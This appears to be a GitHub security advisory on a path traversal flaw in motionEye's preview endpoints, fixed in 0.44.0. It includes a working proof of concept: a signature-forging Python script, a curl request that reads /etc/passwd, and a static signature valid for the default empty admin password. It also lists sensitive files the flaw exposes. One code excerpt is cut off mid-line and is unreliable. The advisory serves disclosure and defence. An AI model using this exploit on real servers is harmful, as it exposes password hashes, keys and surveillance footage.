GitHub Advisoryadvisory · PyPI
GHSA-g9fx-5r4h-pcw3 motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint
MEDIUM
Official page ↗
- Aliases
- CVE-2026-31978
- Ecosystem
- PyPI
- Packages
- motioneye
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22, CWE-284
- Reviewed
- 2026-06-22
Affected packages
• PyPI motioneye: < 0.44.0 → fixed in 0.44.0
Description
Summary
motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.
Details
The `get_media_content()` function properly validates the path:
```python
mediafiles.py ~line 506 — SAFE
def get_media_content(camera_config, path, media_type):
target_dir = camera_config['target_dir']
full_path = os.path.join(target_dir, path)
if '..' in path: # ?_username=::")`. With the default empty admin password:
```python
!/usr/bin/env python3
"""Signature generator for motionEye path traversal PoC"""
import hashlib, re, urllib.parse
_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL)
def compute_signature(method, path, key=''):
parts = list(urllib.parse.urlsplit(path))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
query = '&'.join([(q[0] + '=' + q[1]) for q in query])
parts[0] = parts[1] = ''
parts[3] = query
path = urllib.parse.urlunsplit(parts)
path = _SIGNATURE_REGEX.sub('-', path)
key = _SIGNATURE_REGEX.sub('-', key)
return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()
path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'
sig = compute_signature('GET', path)
print(f'Signature: {sig}')
print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"')
```
Step 3: Send the request using `curl --path-as-is` (the `--path-as-is` flag is required — without it, curl normalizes `..%2F` and collapses the traversal before sending):
```bash
With default empty admin password, the signature is static:
curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c"
```
Step 4: The server returns the contents of `/etc/passwd`.
Verified output:
> Note on the signature value: The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.
Impact
An authenticated user (normal or admin) can read arbitrary files from the server, including:
• `/etc/passwd` — user enumeration
• `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext
• `/etc/shadow` — password hashes (if running as root, which is default in Docker)
• SSH keys, environment variables, and other sensitive configuration files
• Surveillance footage from other cameras
Related
Alias · CVE (1)
- CVE-2026-31978 motionEye (mEye) is an online interface for motion software, which is a video surveillance program with motion detection. vulnerability